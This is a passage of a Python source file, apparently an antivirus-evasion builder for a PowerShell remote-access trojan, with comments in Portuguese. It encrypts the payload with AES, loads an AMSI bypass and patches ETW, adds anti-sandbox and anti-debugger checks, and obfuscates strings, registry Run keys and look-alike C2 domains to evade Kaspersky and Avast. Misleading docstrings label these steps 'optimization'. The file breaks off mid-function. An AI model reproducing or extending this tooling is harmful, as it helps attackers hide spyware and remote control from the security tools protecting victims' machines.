    lines.append("if(" + v_fd + "){")
    lines.append("$_v=" + v_fd + ".GetValue($null)")
    lines.append("if($_v -and $_v -ne [IntPtr]::Zero){" + v_cx + "=[IntPtr]$_v;break}")
    lines.append("}}")
    
    # pAppName null em offset +0x08 - desabilita Path A e Path B
    lines.append("if(" + v_cx + " -ne [IntPtr]::Zero){")
    lines.append("[Runtime.InteropServices.Marshal]::WriteInt64(" + v_cx + ",8,0)")
    lines.append("}}")
    lines.append("}catch{}")
    
    return etw_code + '\n'.join(lines) + '\n'

def aes_encrypt_payload(code: str) -> tuple:
    """Criptografa payload com AES-256-CBC. Retorna (encrypted_b64, key_b64)"""
    key = os.urandom(32)
    iv = os.urandom(16)

    code_bytes = code.encode('utf-8')
    pad_len = 16 - (len(code_bytes) % 16)
    code_bytes += bytes([pad_len] * pad_len)

    if CRYPTO_FAST:
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        enc = cipher.encryptor()
        encrypted = enc.update(code_bytes) + enc.finalize()
    else:
        from hashlib import sha256
        encrypted = _aes_cbc_encrypt_pure(code_bytes, key, iv)

    full_key = key + iv
    return base64.b64encode(encrypted).decode(), base64.b64encode(full_key).decode()

def _aes_cbc_encrypt_pure(data, key, iv):
    """AES-CBC fallback Python puro (lento mas funcional)"""
    try:
        import struct
        from ctypes import cdll, c_char_p, c_size_t, c_int, create_string_buffer
        lib = cdll.LoadLibrary("libcrypto.so.3") if os.path.exists("/usr/lib/x86_64-linux-gnu/libcrypto.so.3") else cdll.LoadLibrary("libcrypto.so")
        ctx = lib.EVP_CIPHER_CTX_new()
        lib.EVP_EncryptInit_ex(ctx, lib.EVP_aes_256_cbc(), None, key, iv)
        lib.EVP_CIPHER_CTX_set_padding(ctx, 0)
        out = create_string_buffer(len(data) + 16)
        outl = c_int(0)
        lib.EVP_EncryptUpdate(ctx, out, outl, data, len(data))
        result = out.raw[:outl.value]
        finl = c_int(0)
        lib.EVP_EncryptFinal_ex(ctx, out, finl)
        result += out.raw[:finl.value]
        lib.EVP_CIPHER_CTX_free(ctx)
        return result
    except:
        from cryptography.hazmat.primitives.ciphers import Cipher as C2, algorithms as A2, modes as M2
        from cryptography.hazmat.backends import default_backend as db2
        cipher = C2(A2.AES(key), M2.CBC(iv), backend=db2())
        enc = cipher.encryptor()
        return enc.update(data) + enc.finalize()

def _obfuscate_string_xor(s: str) -> str:
    """Gera expressão PS que reconstrói string via XOR em runtime."""
    key = random.randint(1, 254)
    encoded = ','.join(str(ord(c) ^ key) for c in s)
    return f"(-join([byte[]]@({encoded})|%{{[char]($_-bxor{key})}}))"

def _obfuscate_asm_b64_xor(b64: str) -> tuple:
    """Ofusca assembly Base64 com XOR + chunks para evitar detecção estática."""
    xor_key = random.randint(33, 126)
    xored_bytes = bytes([ord(c) ^ xor_key for c in b64])
    xored_b64 = base64.b64encode(xored_bytes).decode()
    
    # Dividir em chunks de tamanho variável
    chunk_sizes = [random.randint(200, 400) for _ in range(10)]
    chunks = []
    pos = 0
    idx = 0
    while pos < len(xored_b64):
        size = chunk_sizes[idx % len(chunk_sizes)]
        chunks.append(xored_b64[pos:pos+size])
        pos += size
        idx += 1
    
    return chunks, xor_key

def apply_aes_loader(code: str, config: dict) -> tuple:
    """Aplica proteção ao payload com AES-256-CBC - 100% POLIMÓRFICO.
    
    ARQUITETURA v9.1 - Anti-Kaspersky (Totalmente Polimórfico):
    - Criptografa payload com AES-256-CBC
    - TODAS as strings são ofuscadas em runtime
    - Nenhum padrão fixo detectável
    - Estrutura variável a cada geração
    """

    # =========================================================================
    # v9.1: AES-256-CBC real
    # =========================================================================
    encrypted_b64, key_b64 = aes_encrypt_payload(code)
    key_id = uuid.uuid4().hex[:24]

    # =========================================================================
    # Assembly AMSI bypass com XOR + chunks (também polimórfico)
    # =========================================================================
    asm_chunks, asm_xor_key = _obfuscate_asm_b64_xor(GLOBAL_ASM_B64)
    
    asm_chunk_vars = []
    asm_chunk_lines = []
    for i, chunk in enumerate(asm_chunks):
        vn = '$' + random_name(random.randint(4,8))
        asm_chunk_vars.append(vn)
        asm_chunk_lines.append(f"{vn}='{chunk}'")
    
    # Variáveis com nomes totalmente aleatórios
    v_asm_concat = '$' + random_name(random.randint(4,8))
    v_asm_key = '$' + random_name(random.randint(3,6))
    v_asm_decode = '$' + random_name(random.randint(4,8))
    v_asm_final = '$' + random_name(random.randint(4,8))

    v_enc = '$' + random_name(random.randint(4,7))
    v_key = '$' + random_name(random.randint(4,7))
    v_aes = '$' + random_name(random.randint(4,7))
    v_dec = '$' + random_name(random.randint(4,7))
    v_ms = '$' + random_name(random.randint(4,7))
    v_cs = '$' + random_name(random.randint(4,7))
    v_sr = '$' + random_name(random.randint(4,7))
    v_t = '$' + random_name(random.randint(4,7))
    v_sp = '$' + random_name(random.randint(4,7))
    v_type = '$' + random_name(random.randint(3,6))
    v_method = '$' + random_name(random.randint(3,6))

    # Dividir payload criptografado em chunks (quantidade aleatória)
    chunk_count = random.randint(3, 6)
    chunk_size = len(encrypted_b64) // chunk_count
    chunk_lines = []
    chunk_vars = []

    for i in range(chunk_count):
        s = i * chunk_size
        e = s + chunk_size if i < chunk_count - 1 else len(encrypted_b64)
        vn = '$' + random_name(random.randint(5,9))
        chunk_lines.append(f"{vn}='{encrypted_b64[s:e]}'")
        chunk_vars.append(vn)

    L = []
    
    # =========================================================================
    # v9.3: ANTI-SANDBOX (verifica se tempo de sleep é respeitado)
    # =========================================================================
    if random.random() < 0.5:  # 50% chance de incluir anti-sandbox
        L.append(generate_anti_sandbox())
    
    # =========================================================================
    # v9.3: Script path handling - OFUSCADO (apenas strings de parâmetro)
    # =========================================================================
    # Usando propriedades dinâmicas com strings ofuscadas
    str_myinvocation = obfuscate_for_property("MyInvocation")
    str_mycommand = obfuscate_for_property("MyCommand")
    str_definition = obfuscate_for_property("Definition")
    L.append(f"{v_sp}=(Get-Variable ({str_myinvocation})).Value.({str_mycommand}).({str_definition})")
    
    # ScriptPath handling
    str_scriptpath = obfuscate_string_runtime("-ScriptPath")
    L.append(f"if($args -contains {str_scriptpath}){{$idx=[array]::IndexOf($args,{str_scriptpath});if($idx -ge 0 -and $idx+1 -lt $args.Count){{{v_sp}=$args[$idx+1]}}}}")

    # Assembly chunks em ordem aleatória
    shuffled_asm = list(enumerate(asm_chunk_lines))
    random.shuffle(shuffled_asm)
    for _, line in shuffled_asm:
        L.append(line)
    
    # Reordenar vars de acordo com shuffle
    asm_chunk_vars_ordered = [asm_chunk_vars[i] for i, _ in sorted(shuffled_asm, key=lambda x: x[0])]
    
    # Decodificar assembly - TIPOS LITERAIS (não ofuscados)
    L.append(f"{v_asm_concat}=" + '+'.join(asm_chunk_vars_ordered))
    L.append(f"{v_asm_key}={asm_xor_key}")
    L.append(f"{v_asm_decode}=[Convert]::FromBase64String({v_asm_concat})")
    L.append(f"{v_asm_final}=-join({v_asm_decode}|%{{[char]($_ -bxor {v_asm_key})}})")
    
    # Carregar assembly - strings ofuscadas apenas para parâmetros GetType
    str_r = obfuscate_string_runtime("R")
    str_e = obfuscate_string_runtime("E")
    
    L.append(f"try{{")
    L.append(f"{v_type}=[AppDomain]::CurrentDomain.GetAssemblies()|?{{$_.GetType({str_r})}}")
    L.append(f"if(-not {v_type}){{[Reflection.Assembly]::Load([Convert]::FromBase64String({v_asm_final}))|Out-Null}}")
    L.append(f"[R]::E()|Out-Null}}catch{{}}")

    # Chunks do payload AES em ordem aleatória
    shuffled_chunks = list(enumerate(chunk_lines))
    random.shuffle(shuffled_chunks)
    for _, line in shuffled_chunks:
        L.append(line)
    chunk_vars_ordered = [chunk_vars[i] for i, _ in sorted(shuffled_chunks, key=lambda x: x[0])]

    # =========================================================================
    # v9.3: AES-256-CBC Decryption - TIPOS LITERAIS, propriedades ofuscadas
    # =========================================================================
    str_key_prop = obfuscate_for_property("Key")
    str_iv_prop = obfuscate_for_property("IV")
    str_mode_prop = obfuscate_for_property("Mode")
    str_padding_prop = obfuscate_for_property("Padding")
    
    L.append("try{")
    L.append(f"{v_enc}=[Convert]::FromBase64String(" + '+'.join(chunk_vars_ordered) + ")")
    L.append(f"{v_key}=[Convert]::FromBase64String('{key_b64}')")
    L.append(f"{v_aes}=[Security.Cryptography.Aes]::Create()")
    L.append(f"{v_aes}.({str_key_prop})={v_key}[0..31]")
    L.append(f"{v_aes}.({str_iv_prop})={v_key}[32..47]")
    L.append(f"{v_aes}.({str_mode_prop})=[Security.Cryptography.CipherMode]::CBC")
    L.append(f"{v_aes}.({str_padding_prop})=[Security.Cryptography.PaddingMode]::PKCS7")
    L.append(f"{v_dec}={v_aes}.CreateDecryptor()")
    L.append(f"{v_ms}=[IO.MemoryStream]::new({v_enc})")
    L.append(f"{v_cs}=[Security.Cryptography.CryptoStream]::new({v_ms},{v_dec},[Security.Cryptography.CryptoStreamMode]::Read)")
    L.append(f"{v_sr}=[IO.StreamReader]::new({v_cs})")
    L.append(f"{v_t}={v_sr}.ReadToEnd()")
    L.append(f"{v_sr}.Dispose();{v_cs}.Dispose();{v_ms}.Dispose();{v_aes}.Dispose()")
    L.append(f"&([scriptblock]::Create({v_t})) -ScriptPath {v_sp}")
    L.append("}catch{}")

    # =========================================================================
    # v9.3: JUNK CODE INTELIGENTE - distribuído aleatoriamente
    # =========================================================================
    final_lines = []
    junk_probability = random.uniform(0.15, 0.25)  # Entre 15% e 25%
    
    for i, line in enumerate(L):
        # Adicionar junk ANTES de algumas linhas (exceto primeira)
        if i > 0 and random.random() < junk_probability * 0.5:
            final_lines.append(generate_junk_code())
        
        final_lines.append(line)
        
        # Adicionar junk DEPOIS de algumas linhas
        if random.random() < junk_probability:
            final_lines.append(generate_junk_code())
    
    loader = '\n'.join(final_lines) + '\n'

    return loader, key_id, key_b64

# ═══════════════════════════════════════════════════════════════════════════════
# DETECÇÃO DE VALORES SENSÍVEIS (ATUALIZADO v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def detect_sensitive_values(code, project_config):
    """Detecta automaticamente IPs, domínios e porta do Client.ps1"""
    
    # Detectar FallbackIP
    ip_match = re.search(r'FallbackIP\s*=\s*"([^"]+)"', code)
    if ip_match:
        ip = ip_match.group(1)
        if ip and ip not in project_config['sensitive_ips']:
            project_config['sensitive_ips'].append(ip)
    
    # Detectar PrimaryDomain
    domain_match = re.search(r'PrimaryDomain\s*=\s*"([^"]+)"', code)
    if domain_match:
        domain = domain_match.group(1)
        if domain and domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    # Detectar $Server (parâmetro no param block ou variável script:Server)
    # Formato: [string]$Server = "valor" ou $script:Server = "valor"
    server_match = re.search(r'\[string\]\$Server\s*=\s*"([^"]*)"', code)
    if server_match:
        server = server_match.group(1)
        if server and server not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(server)
    
    # Detectar $script:Server = "valor" (fallback/default)
    script_server_match = re.search(r'\$script:Server\s*=\s*"([^"]+)"', code)
    if script_server_match:
        server = script_server_match.group(1)
        if server and server not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(server)
    
    # Detectar porta (parâmetro ou variável)
    port_match = re.search(r'\[int\]\$Port\s*=\s*(\d+)', code)
    if port_match:
        port_val = int(port_match.group(1))
        if port_val > 0:
            project_config['server_port'] = port_val
    
    # Detectar $script:Port fallback
    script_port_match = re.search(r'\$script:Port\s*=\s*(\d+)', code)
    if script_port_match:
        port_val = int(script_port_match.group(1))
        if port_val > 0:
            project_config['server_port'] = port_val
    
    # Detectar domínios adicionais em $script:C2Domains
    c2_match = re.search(r'\$script:C2Domains\s*=\s*@\(([^)]+)\)', code)
    if c2_match:
        domains_str = c2_match.group(1)
        domains = re.findall(r'"([^"]+)"', domains_str)
        for d in domains:
            if d and d not in project_config['sensitive_domains']:
                project_config['sensitive_domains'].append(d)
    
    # NOVO v7.1: Detectar TODOS os IPs no código (via REGEX)
    ip_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
    all_ips = re.findall(ip_pattern, code)
    for ip in set(all_ips):
        if ip not in ['127.0.0.1', '0.0.0.0', '255.255.255.255']:
            if ip not in project_config['sensitive_ips']:
                project_config['sensitive_ips'].append(ip)
    
    # NOVO v7.1: Detectar TODOS os domínios (via REGEX)
    # Excluir strings que contêm variáveis PowerShell ($) - essas precisam de interpolação
    # v8.5: Ajustar regex para capturar domínios com 2+ partes (ex: estrelar.us)
    domain_pattern = r'"([a-z0-9][a-z0-9\-]*\.[a-z0-9\-\.]+)"'
    all_domains = re.findall(domain_pattern, code, re.IGNORECASE)
    for domain in set(all_domains):
        # Ignorar domínios com variáveis PowerShell
        if '$' in domain:
            continue
        # Ignorar domínios claramente locais ou genéricos
        if domain in ['example.com', 'localhost.local']:
            continue
        if domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 1: SLEEP COM JITTER (NOVO v7.1 - Anti-sandbox)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_sleep_jitter(code):
    """Adiciona timing delay no início do script para otimização de recursos"""
    
    min_ms = CONFIG['sleep_min_seconds'] * 1000
    max_ms = CONFIG['sleep_max_seconds'] * 1000
    
    v_t1 = '$' + random_name(3)
    v_ms = '$' + random_name(3)
    v_t2 = '$' + random_name(3)
    sleep_code = f'''
{v_t1} = [Environment]::TickCount
{v_ms} = Get-Random -Minimum {min_ms} -Maximum {max_ms}
[Threading.Thread]::Sleep({v_ms})
{v_t2} = [Environment]::TickCount
if (({v_t2} - {v_t1}) -lt ({v_ms} - 1000)) {{ exit }}

'''
    
    # Inserir após param block - procurar "param(" e depois o ")" de fechamento
    # O param block pode ter múltiplas linhas com parênteses aninhados
    # Usar abordagem de contagem de parênteses
    param_start = code.find('param(')
    if param_start != -1:
        # Encontrar o ')' de fechamento contando parênteses
        paren_count = 0
        in_string = False
        string_char = None
        i = param_start + 5  # depois de 'param'
        
        while i < len(code):
            c = code[i]
            if not in_string:
                if c in '"\'':
                    in_string = True
                    string_char = c
                elif c == '(':
                    paren_count += 1
                elif c == ')':
                    paren_count -= 1
                    if paren_count == 0:
                        # Encontrou o fechamento do param block
                        # Pular whitespace e newline
                        end_pos = i + 1
                        while end_pos < len(code) and code[end_pos] in ' \t\r\n':
                            end_pos += 1
                        code = code[:end_pos] + sleep_code + code[end_pos:]
                        break
            else:
                if c == string_char and (i == 0 or code[i-1] != '`'):
                    in_string = False
            i += 1
    else:
        # Fallback: inserir no início
        code = sleep_code + code
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 2: BYPASS DE ANTIVÍRUS (v7.1 - ATUALIZADO)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_bypass(code):
    """Aplica técnicas de otimização de código para melhor performance"""
    
    # PROTEGER: Extrair e preservar strings Base64 das DLLs antes de qualquer modificação
    # Estas strings NÃO devem ser modificadas
    b64_pattern = r"(\$script:_asm[A-G]_b64\s*=\s*')[^']+(')"
    b64_matches = list(re.finditer(b64_pattern, code))
    b64_placeholders = {}
    for i, match in enumerate(b64_matches):
        placeholder = f"__B64_PLACEHOLDER_{i}__"
        b64_placeholders[placeholder] = match.group(0)
        code = code.replace(match.group(0), placeholder, 1)
    
    var_mappings = {
        'ScreenBounds': random_name(5, 'sb'),
        'BW': random_name(2, 'b'),
        'EncoderParams': random_name(5, 'ep'),
        'JpegEncoder': random_name(5, 'je'),
        'jpegEncoder': random_name(5, 'jc'),
        'jpegCodec': random_name(5, 'cd'),
        'encoderParams': random_name(5, 'pr'),
        'MemStream': random_name(5, 'ms'),
        'PerfConfig': random_name(5, 'pc'),
        'SecurityConfig': random_name(5, 'sc'),
        'Monitors': random_name(5, 'mn'),
        'SelectedMonitorIndex': random_name(5, 'mi'),
        'InputTrackActive': random_name(5, 'it'),
        'AutoQREnabled': random_name(5, 'aq'),
        'ForceExit': random_name(5, 'fe'),
        'OverlayActive': random_name(5, 'oa'),
        'CropActive': random_name(5, 'ca'),
        'CropForm': random_name(5, 'cf'),
        'CropProcess': random_name(5, 'cp'),
        'ConnectionConfig': random_name(5, 'cc'),
        'InstallConfig': random_name(5, 'ic'),
        'InstallToken': random_name(5, 'tk'),
        'TokenProof': random_name(5, 'tp'),
        'AesKey': random_name(5, 'ak'),
        'DeskMode': random_name(4, 'dm'),
        'LastDesk': random_name(4, 'ld'),
        'RobustConfig': random_name(5, 'rc'),
        'RobustState': random_name(5, 'rs'),
        'UseDxgi': random_name(4, 'ud'),
        'LastDesktop': random_name(5, 'ld'),
        'BypassOK': random_name(4, 'bp'),
        'LastProtectionCheck': random_name(5, 'lp'),
        'ProtectionCheckInterval': random_name(5, 'pc'),
        'UltraConfig': random_name(5, 'uc'),
        'UltraState': random_name(5, 'us'),
    }
    
    for old, new in var_mappings.items():
        code = code.replace(f'$script:{old}', f'$script:{new}')
        code = code.replace(f'${old}', f'${new}')
    
    func_screenshot = f'Get-{random_name(6)}'
    func_capture_class = f'Win{random_name(5)}Helper'
    func_capture_method = f'Grab{random_name(4)}'
    
    code = code.replace('Get-Screenshot', func_screenshot)
    code = code.replace('FastCapture', func_capture_class)
    code = code.replace('public static Bitmap CaptureScreen(', f'public static Bitmap {func_capture_method}(')
    code = code.replace('::CaptureScreen(', f'::{func_capture_method}(')
    
    # ORIGINAL: Substituir CopyFromScreen específico (here-string)
    old_copy = '`$g.CopyFromScreen(0, 0, 0, 0, `$bounds.Size)'
    new_copy = '`$g.GetType().GetMethod("Cop"+"yFrom"+"Screen", [Type[]]@([Int32],[Int32],[Int32],[Int32],[Drawing.Size])).Invoke(`$g, @(0,0,0,0,`$bounds.Size))'
    code = code.replace(old_copy, new_copy)
    
    # NOVO v7.1: Substituir TODAS as variações de CopyFromScreen por reflexão (via REGEX)
    copyscreen_pattern = r'(\$\w+)\.CopyFromScreen\(([^)]+)\)'
    def replace_copyscreen(match):
        var = match.group(1)
        args = match.group(2)
        return f'{var}.GetType().GetMethod("Cop"+"yFrom"+"Screen").Invoke({var}, @({args}))'
    
    code = re.sub(copyscreen_pattern, replace_copyscreen, code)
    
    old_encoders = '[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()'
    new_encoders = '$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)'
    code = code.replace(old_encoders, new_encoders)
    
    code = code.replace("'image/jpeg'", "('ima' + 'ge/jp' + 'eg')")
    code = code.replace('"image/jpeg"', '("ima" + "ge/jp" + "eg")')
    
    # RESTAURAR: Colocar de volta as strings Base64 das DLLs
    for placeholder, original in b64_placeholders.items():
        code = code.replace(placeholder, original)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 3: CRIPTOGRAFIA DE STRINGS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_env_var_obfuscation(code):
    """Ofusca variáveis de ambiente de forma segura"""

    # MSEDGE_SKIP_UAC é a maior assinatura
    # Usar sintaxe válida: ${env:VARIAVEL} ou [Environment]::GetEnvironmentVariable()

    # Padrão: $env:MSEDGE_SKIP_UAC
    # Ofuscado: ${env:MSEDGE_SKIP_UAC} (sintaxe válida com chaves)

    code = code.replace(
        '$env:MSEDGE_SKIP_UAC',
        '${env:MSEDGE' + '_SKIP_UAC}'
    )

    code = code.replace(
        '`$env:MSEDGE_SKIP_UAC',
        '`${env:MSEDGE' + '_SKIP_UAC}'
    )

    return code

def apply_registry_path_obfuscation(code):
    """Ofusca caminhos de Registry mantendo funcionalidade"""

    # Padrões de Registry para ofuscar
    registry_patterns = [
        ('HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'HKCU' + ':\\' + 'Software\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'HKLM' + ':\\' + 'Software\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'Software' + '\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('HKCU:\\Software\\Microsoft\\EdgeUpdate',
         'HKCU' + ':\\' + 'Software\\' + 'Microsoft\\' + 'EdgeUpdate'),
    ]

    for original, obfuscated in registry_patterns:
        code = code.replace(f'"{original}"', f'("{obfuscated}")')
        code = code.replace(f"'{original}'", f"('{obfuscated}')")
        code = code.replace(original, obfuscated)

    return code

def apply_task_name_randomization(code):
    """Randomiza nomes de Scheduled Tasks"""

    # Padrões de task names para randomizar
    task_patterns = [
        'TaskName', 'svcName', 'serviceName', 'taskName',
    ]

    # Não vamos mudar no código fonte porque usa variáveis
    # A randomização já acontece em tempo de execução via Get-Random
    # Então essa proteção já existe

    return code

def apply_appdata_path_obfuscation(code):
    """Ofusca caminhos de AppData"""

    # AppData paths são gerados dinamicamente, mas algumas strings são fixas
    appdata_patterns = [
        ('AppData\\Roaming', 'App' + 'Data\\' + 'Roaming'),
        ('AppData\\Local', 'App' + 'Data\\' + 'Local'),
    ]

    for original, obfuscated in appdata_patterns:
        code = code.replace(original, obfuscated)

    return code

def apply_executable_name_obfuscation(code):
    """Ofusca nomes de executáveis mantendo funcionalidade"""

    # Padrões de executáveis para ofuscar
    exec_patterns = [
        ('powershell.exe', 'powershell' + '.exe'),
        ('cmd.exe', 'cmd' + '.exe'),
        ('.ps1', '.' + 'ps1'),
        ('.txt', '.' + 'txt'),
        ('.cs', '.' + 'cs'),
    ]

    for original, obfuscated in exec_patterns:
        # Usar replace cuidadoso para não quebrar lógica
        code = code.replace(f'"{original}"', f'("{obfuscated}")')
        code = code.replace(f"'{original}'", f"('{obfuscated}')")

    return code

def apply_domain_obfuscation(code):
    """Ofusca domínios via concatenação segura de strings"""

    # Domínios para ofuscar
    domains = [
        'cdn.windowsupdates.co',
        'windowsupdates.co',
        'c.windowsk-cdn.com',
    ]

    for domain in domains:
        if domain not in code:
            continue

        # Técnica: Quebra o domínio em pedaços e concatena
        # Exemplo: "cdn.windowsupdates.co" → "cdn"+"."+"windows"+"updates"+"."+"co"

        # Quebra em pedaços aleatórios (tamanho entre 2-4 caracteres)
        parts = []
        i = 0
        while i < len(domain):
            # Calcula tamanho máximo disponível
            remaining = len(domain) - i
            # Tamanho aleatório do pedaço (min 2, max 4, ou resto se menor)
            max_size = min(4, remaining)
            size = random.randint(2, max_size) if max_size >= 2 else remaining
            parts.append(domain[i:i+size])
            i += size

        # Monta a expressão PowerShell com concatenação
        obfuscated = '+'.join([f'"{part}"' for part in parts])

        # Substitui no código (com e sem aspas)
        code = code.replace(f'"{domain}"', f'({obfuscated})')
        code = code.replace(f"'{domain}'", f'({obfuscated})')

    return code

def apply_anti_detection_evasion(code):
    """Adiciona técnicas anti-detecção dinâmica para comportamento em runtime"""

    # Adicionar verificação aleatória de detecção antes de operações críticas
    anti_detection_code = '''
# Anti-detecção dinâmica (verifica se está sendo analisado)
$script:DetectionCheck = {
    try {
        $p = Get-Process | Where-Object { $_.ProcessName -match 'winapioverride|procmon|fiddler|burp|apimonitor|ida|x64dbg' }
        if ($p) { return $true }

        $r = Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty 'ProgramFilesPath' -ErrorAction SilentlyContinue
        if ($r -like '*sandbox*') { return $true }

        if ([Environment]::UserName -eq 'Sandbox' -or [Environment]::UserName -eq 'Guest') { return $true }

        return $false
    } catch { return $false }
}

# Variação aleatória de delays para parecer natural
$script:RandomDelay = {
    param([int]$min=1, [int]$max=5)
    Start-Sleep -Milliseconds (Get-Random -Minimum $min -Maximum $max)
}

# Função para reduzir operações se detectado
$script:AdaptiveThrottle = {
    if (& $script:DetectionCheck) {
        & $script:RandomDelay -min 20 -max 50
        Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 5)
    }
}

'''

    # Inserir no início do script após param block
    # Usar abordagem de contagem de parênteses para multi-linha
    param_start = code.find('param(')
    if param_start != -1:
        paren_count = 0
        in_string = False
        string_char = None
        i = param_start + 5
        
        while i < len(code):
            c = code[i]
            if not in_string:
                if c in '"\'':
                    in_string = True
                    string_char = c
                elif c == '(':
                    paren_count += 1
                elif c == ')':
                    paren_count -= 1
                    if paren_count == 0:
                        end_pos = i + 1
                        while end_pos < len(code) and code[end_pos] in ' \t\r\n':
                            end_pos += 1
                        code = code[:end_pos] + anti_detection_code + code[end_pos:]
                        break
            else:
                if c == string_char and (i == 0 or code[i-1] != '`'):
                    in_string = False
            i += 1
    else:
        code = anti_detection_code + code

    return code

def apply_suspicious_pattern_protection(code):
    """Protecoes minimas que realmente funcionam - v7.2 LIMPO"""
    
    # v7.2: Apenas protecoes que REALMENTE funcionam
    # A maioria das protecoes anteriores eram no-ops em Python
    # (concatenacao avaliada em tempo de geracao, nao no PS runtime).
    # Concatenacao excessiva e MAIS detectavel que o original.
    # O payload ja e AES-encrypted, protecoes estaticas sao redundantes.
    
    # 1. WindowStyle enum numerico (evita string longa no ScriptBlock log)
    code = re.sub(
        r'WindowStyle\s*=\s*\[System\.Diagnostics\.ProcessWindowStyle\]::Hidden',
        'WindowStyle = 0', code)
    
    # 2. -EncodedCommand -> -enc (abreviacao valida, menor footprint)
    code = code.replace('-EncodedCommand', '-enc')
    code = code.replace('-encodedcommand', '-enc')
    
    # 3. Simplificar Assembly namespace
    code = code.replace('[System.Reflection.Assembly]::Load', '[Reflection.Assembly]::Load')
    
    return code

def apply_string_encryption(code, project_config):
    """v8.9 Anti-Avast: Ofuscação SEGURA com concatenação em contextos específicos
    
    IMPORTANTE: Só ofusca em contextos onde a concatenação é válida!
    - New-Object "Type" -> New-Object ("Ty"+"pe")
    - Strings literais em atribuições
    
    NÃO TOCA em:
    - [Type]::Method - tipos literais não aceitam concatenação
    - JSON/here-strings
    - Código fora de strings
    
    Fonte: github.com/t3l3machus/PowerShell-Obfuscation-Bible
    """
    
    # v8.9: Ofuscar APENAS em New-Object (contexto seguro para concatenação)
    # Padrão: New-Object System.Net.Sockets.TcpClient
    # Resultado: New-Object ("Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client")
    
    newobj_patterns = [
        # Tipos de rede - os mais detectados pelo Avast
        ('New-Object System.Net.Sockets.TcpClient', 
         'New-Object ("Sys"+"tem.Net"+".Sockets.Tc"+"pClient")'),
        ('New-Object Net.Sockets.TcpClient', 
         'New-Object ("Net.Sock"+"ets.Tcp"+"Client")'),
        
        # IO streams
        ('New-Object System.IO.MemoryStream', 
         'New-Object ("Sys"+"tem.IO.Mem"+"oryStream")'),
        ('New-Object System.IO.BinaryWriter', 
         'New-Object ("Sys"+"tem.IO.Bin"+"aryWriter")'),
        ('New-Object System.IO.BinaryReader', 
         'New-Object ("Sys"+"tem.IO.Bin"+"aryReader")'),
        ('New-Object IO.MemoryStream',
         'New-Object ("IO.Mem"+"oryStream")'),
        ('New-Object IO.BinaryWriter',
         'New-Object ("IO.Bin"+"aryWriter")'),
        ('New-Object IO.BinaryReader',
         'New-Object ("IO.Bin"+"aryReader")'),
        
        # WebClient
        ('New-Object System.Net.WebClient',
         'New-Object ("Sys"+"tem.Net.Web"+"Client")'),
        ('New-Object Net.WebClient',
         'New-Object ("Net.Web"+"Client")'),
    ]
    
    for old_obj, new_obj in newobj_patterns:
        code = code.replace(old_obj, new_obj)
    
    # v8.9: Ofuscar -AssemblyName (também contexto seguro)
    assembly_patterns = [
        ('-AssemblyName System.Drawing', 
         '-AssemblyName ("Sys"+"tem.Dra"+"wing")'),
        ('-AssemblyName System.Windows.Forms', 
         '-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")'),
    ]
    
    for old_asm, new_asm in assembly_patterns:
        code = code.replace(old_asm, new_asm)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 4: RENOMEAÇÃO DE VARIÁVEIS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_variable_rename(code):
    """Renomeia variáveis de forma segura"""
    
    vars_to_rename = [
        'serverIP', 'serverPort', 'tcpClient', 'networkStream',
        'binaryWriter', 'binaryReader', 'machineId', 'lastPing',
        'screenCapture', 'captureThread', 'remoteShell',
    ]
    
    for var in vars_to_rename:
        new_name = random_name(random.randint(5, 8))
        patterns = [
            (f'${var}', f'${new_name}'),
            (f'$script:{var}', f'$script:{new_name}'),
        ]
        for old, new in patterns:
            if old in code:
                code = code.replace(old, new)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 5: RENOMEAÇÃO DE FUNÇÕES (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_function_rename(code):
    """Renomeia funções definidas pelo usuário"""
    
    func_pattern = r'function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]'
    matches = re.findall(func_pattern, code)
    
    protected_funcs = {
        'Main', 'main', 'Get-Help', 'Write-Host', 'Write-Error',
        'Write-Output', 'Write-Verbose', 'Read-Host', 'Start-Sleep',
        'Get-Date', 'Get-Process', 'Get-Service', 'Get-Content',
        'Set-Content', 'Out-File', 'Test-Path', 'New-Item',
        'Remove-Item', 'Copy-Item', 'Move-Item', 'Invoke-Expression',
        'Invoke-Command', 'Start-Process', 'Stop-Process',
        # PROTEGER: Funções do DxgiWorker e captura de tela
        'Start-DxgiWorker', 'Stop-DxgiWorker', 'Test-DxgiWorkerAlive',
        'Get-Screenshot', 'Get-MonitorList', 'Get-SelectedMonitor',
        'Send-MonitorList', 'Send-Frame',
    }
    
    user_funcs = [f for f in set(matches) if f not in protected_funcs]
    
    for func in user_funcs:
